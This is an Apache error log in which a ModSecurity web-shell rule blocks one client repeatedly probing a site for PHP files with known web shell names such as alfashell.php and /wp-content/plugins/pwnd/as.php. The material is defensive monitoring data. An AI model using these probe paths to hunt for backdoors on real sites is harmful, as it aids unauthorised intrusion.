[Wed Apr 22 19:44:56.743928 2026] [:error] [pid 23776:tid 23782] [client 134.149.32.112:28700] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aei0uLRExf-1pAbSeJvVdAAAAYQ"]
[Wed Apr 22 19:44:57.832065 2026] [:error] [pid 23776:tid 23783] [client 134.149.32.112:15396] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aei0ubRExf-1pAbSeJvVeAAAAYU"]
[Wed Apr 22 19:44:58.608505 2026] [:error] [pid 6344:tid 6373] [client 134.149.32.112:23495] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aei0ukDOTF-pkQnDeUnelQAAABg"]
[Wed Apr 22 19:44:59.474070 2026] [:error] [pid 6344:tid 6358] [client 134.149.32.112:17941] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aei0u0DOTF-pkQnDeUnelgAAAAk"]
[Wed Apr 22 19:45:00.556951 2026] [:error] [pid 6250:tid 6258] [client 134.149.32.112:15410] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aei0vA-iZeQkqmQVfj7_KAAAAEQ"]
[Wed Apr 22 19:45:01.868797 2026] [:error] [pid 9085:tid 9099] [client 134.149.32.112:1220] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aei0vd-_-or9vQnlWnpC4QAAAUw"]
[Wed Apr 22 19:45:03.028171 2026] [:error] [pid 9085:tid 9107] [client 134.149.32.112:1277] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aei0v9-_-or9vQnlWnpC4wAAAVQ"]
[Wed Apr 22 19:45:03.836858 2026] [:error] [pid 6384:tid 6409] [client 134.149.32.112:20968] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aei0vz58M3t15ICeWHUZlgAAANY"]
[Wed Apr 22 19:45:04.703488 2026] [:error] [pid 6252:tid 6316] [client 134.149.32.112:13890] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aei0wOtGYuiYb1nWBpRB1gAAAQQ"]
[Wed Apr 22 19:45:05.572365 2026] [:error] [pid 9085:tid 9090] [client 134.149.32.112:35929] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aei0wd-_-or9vQnlWnpC5gAAAUM"]
[Wed Apr 22 19:45:06.600592 2026] [:error] [pid 6250:tid 6274] [client 134.149.32.112:27037] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aei0wg-iZeQkqmQVfj7_MAAAAFQ"]
[Wed Apr 22 19:45:07.354541 2026] [:error] [pid 6251:tid 6290] [client 134.149.32.112:33021] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aei0wysFAzbyObL-SQ5yKgAAAIU"]
[Wed Apr 22 19:45:08.572565 2026] [:error] [pid 9085:tid 9094] [client 134.149.32.112:1261] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aei0xN-_-or9vQnlWnpC6wAAAUc"]
[Wed Apr 22 19:45:09.503622 2026] [:error] [pid 6251:tid 6307] [client 134.149.32.112:35423] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aei0xSsFAzbyObL-SQ5yLQAAAJY"]
[Wed Apr 22 19:45:10.558660 2026] [:error] [pid 6384:tid 6398] [client 134.149.32.112:32989] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aei0xj58M3t15ICeWHUZowAAAMs"]
[Wed Apr 22 19:45:11.536759 2026] [:error] [pid 9085:tid 9087] [client 134.149.32.112:32995] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aei0x9-_-or9vQnlWnpDBQAAAUA"]
[Wed Apr 22 19:45:12.554399 2026] [:error] [pid 6384:tid 6396] [client 134.149.32.112:20979] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aei0yD58M3t15ICeWHUZpwAAAMk"]
[Wed Apr 22 19:45:13.987711 2026] [:error] [pid 9085:tid 9108] [client 134.149.32.112:35916] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aei0yd-_-or9vQnlWnpDDQAAAVU"]
[Wed Apr 22 19:45:15.587851 2026] [:error] [pid 9085:tid 9096] [client 134.149.32.112:23549] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aei0y9-_-or9vQnlWnpDGAAAAUk"]
[Wed Apr 22 19:45:16.819300 2026] [:error] [pid 9085:tid 9103] [client 134.149.32.112:33008] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aei0zN-_-or9vQnlWnpDHgAAAVA"]
[Wed Apr 22 19:45:17.755480 2026] [:error] [pid 6384:tid 6407] [client 134.149.32.112:22963] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aei0zT58M3t15ICeWHUZrgAAANQ"]
[Wed Apr 22 19:45:18.630034 2026] [:error] [pid 23776:tid 23789] [client 134.149.32.112:26696] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aei0zrRExf-1pAbSeJvVoAAAAYs"]
[Wed Apr 22 19:45:19.711724 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:22213] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aei0z9-_-or9vQnlWnpDKQAAAU4"]
[Wed Apr 22 19:45:20.485024 2026] [:error] [pid 6252:tid 6323] [client 134.149.32.112:21948] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aei00OtGYuiYb1nWBpRB7QAAAQs"]
[Wed Apr 22 19:45:21.486307 2026] [:error] [pid 6344:tid 6355] [client 134.149.32.112:28730] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aei00UDOTF-pkQnDeUnepQAAAAY"]
[Wed Apr 22 19:45:22.341895 2026] [:error] [pid 23776:tid 23785] [client 134.149.32.112:22928] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aei00rRExf-1pAbSeJvVqwAAAYc"]
[Wed Apr 22 19:45:23.167969 2026] [:error] [pid 23776:tid 23780] [client 134.149.32.112:35868] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aei007RExf-1pAbSeJvVrgAAAYI"]
[Wed Apr 22 19:45:24.067939 2026] [:error] [pid 9085:tid 9096] [client 134.149.32.112:14195] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aei01N-_-or9vQnlWnpDMwAAAUk"]
[Wed Apr 22 19:45:24.907234 2026] [:error] [pid 9085:tid 9092] [client 134.149.32.112:19836] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aei01N-_-or9vQnlWnpDNwAAAUU"]
[Wed Apr 22 19:45:25.947467 2026] [:error] [pid 9085:tid 9102] [client 134.149.32.112:28673] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aei01d-_-or9vQnlWnpDOwAAAU8"]
[Wed Apr 22 19:45:28.248684 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:21902] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aei02N-_-or9vQnlWnpDQwAAAVM"]
[Wed Apr 22 19:45:30.404100 2026] [:error] [pid 6250:tid 6259] [client 134.149.32.112:19800] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aei02g-iZeQkqmQVfj7_UgAAAEU"]
[Wed Apr 22 19:45:33.585182 2026] [:error] [pid 6251:tid 6299] [client 134.149.32.112:15465] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aei03SsFAzbyObL-SQ5yNgAAAI4"]
[Wed Apr 22 19:45:35.299272 2026] [:error] [pid 23776:tid 23790] [client 134.149.32.112:35856] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aei037RExf-1pAbSeJvVtwAAAYw"]
[Wed Apr 22 19:45:36.883749 2026] [:error] [pid 6384:tid 6394] [client 134.149.32.112:15695] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aei04D58M3t15ICeWHUZwAAAAMc"]
[Wed Apr 22 19:45:38.564884 2026] [:error] [pid 6251:tid 6303] [client 134.149.32.112:25915] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aei04isFAzbyObL-SQ5yOQAAAJI"]
[Wed Apr 22 19:45:39.923477 2026] [:error] [pid 6344:tid 6353] [client 134.149.32.112:23500] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aei040DOTF-pkQnDeUnesQAAAAQ"]
[Wed Apr 22 19:45:41.274806 2026] [proxy_fcgi:error] [pid 9085:tid 9088] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:42.698302 2026] [proxy_fcgi:error] [pid 9085:tid 9109] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:43.243498 2026] [proxy_fcgi:error] [pid 9085:tid 9104] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:43.732021 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:44.000401 2026] [proxy_fcgi:error] [pid 9085:tid 9111] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:44.287823 2026] [proxy_fcgi:error] [pid 9085:tid 9098] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:44.579294 2026] [proxy_fcgi:error] [pid 9085:tid 9088] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:44.860266 2026] [proxy_fcgi:error] [pid 9085:tid 9095] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:45.139180 2026] [proxy_fcgi:error] [pid 9085:tid 9099] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:45.410991 2026] [proxy_fcgi:error] [pid 9085:tid 9092] [client 134.149.32.112:15470] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:45:45.678414 2026] [:error] [pid 9085:tid 9100] [client 134.149.32.112:15470] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aei06d-_-or9vQnlWnpDgAAAAU0"]
[Wed Apr 22 19:45:46.943561 2026] [:error] [pid 9085:tid 9097] [client 134.149.32.112:25893] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aei06t-_-or9vQnlWnpDhgAAAUo"]
[Wed Apr 22 19:45:48.105284 2026] [:error] [pid 23776:tid 23788] [client 134.149.32.112:32132] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aei07LRExf-1pAbSeJvVwwAAAYo"]
[Wed Apr 22 19:45:49.154124 2026] [:error] [pid 6251:tid 6296] [client 134.149.32.112:32128] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aei07SsFAzbyObL-SQ5yQwAAAIs"]
[Wed Apr 22 19:45:50.643020 2026] [:error] [pid 6384:tid 6391] [client 134.149.32.112:20123] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aei07j58M3t15ICeWHUZ0AAAAMQ"]
[Wed Apr 22 19:45:51.657497 2026] [:error] [pid 23776:tid 23802] [client 134.149.32.112:20029] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aei077RExf-1pAbSeJvVxwAAAZg"]
[Wed Apr 22 19:45:52.675199 2026] [:error] [pid 6344:tid 6354] [client 134.149.32.112:14124] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aei08EDOTF-pkQnDeUnetAAAAAU"]
[Wed Apr 22 19:45:53.431721 2026] [:error] [pid 6252:tid 6312] [client 134.149.32.112:25951] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aei08etGYuiYb1nWBpRCDQAAAQA"]
[Wed Apr 22 19:45:54.522978 2026] [:error] [pid 23776:tid 23784] [client 134.149.32.112:20263] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aei08rRExf-1pAbSeJvVyAAAAYY"]
[Wed Apr 22 19:45:55.770375 2026] [:error] [pid 9085:tid 9100] [client 134.149.32.112:39769] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aei089-_-or9vQnlWnpDkAAAAU0"]
[Wed Apr 22 19:45:57.367937 2026] [:error] [pid 9085:tid 9103] [client 134.149.32.112:20024] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aei09d-_-or9vQnlWnpDmAAAAVA"]
[Wed Apr 22 19:45:58.530595 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:14092] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aei09t-_-or9vQnlWnpDnwAAAVM"]
[Wed Apr 22 19:45:59.901204 2026] [:error] [pid 6384:tid 6407] [client 134.149.32.112:15658] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aei09z58M3t15ICeWHUZ1gAAANQ"]
[Wed Apr 22 19:46:02.359266 2026] [:error] [pid 6251:tid 6306] [client 134.149.32.112:25955] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aei0-isFAzbyObL-SQ5ySQAAAJU"]
[Wed Apr 22 19:46:06.366938 2026] [:error] [pid 9085:tid 9087] [client 134.149.32.112:20233] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aei0_t-_-or9vQnlWnpDrQAAAUA"]
[Wed Apr 22 19:46:09.581965 2026] [:error] [pid 6250:tid 6259] [client 134.149.32.112:2026] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aei1AQ-iZeQkqmQVfj7_dwAAAEU"]
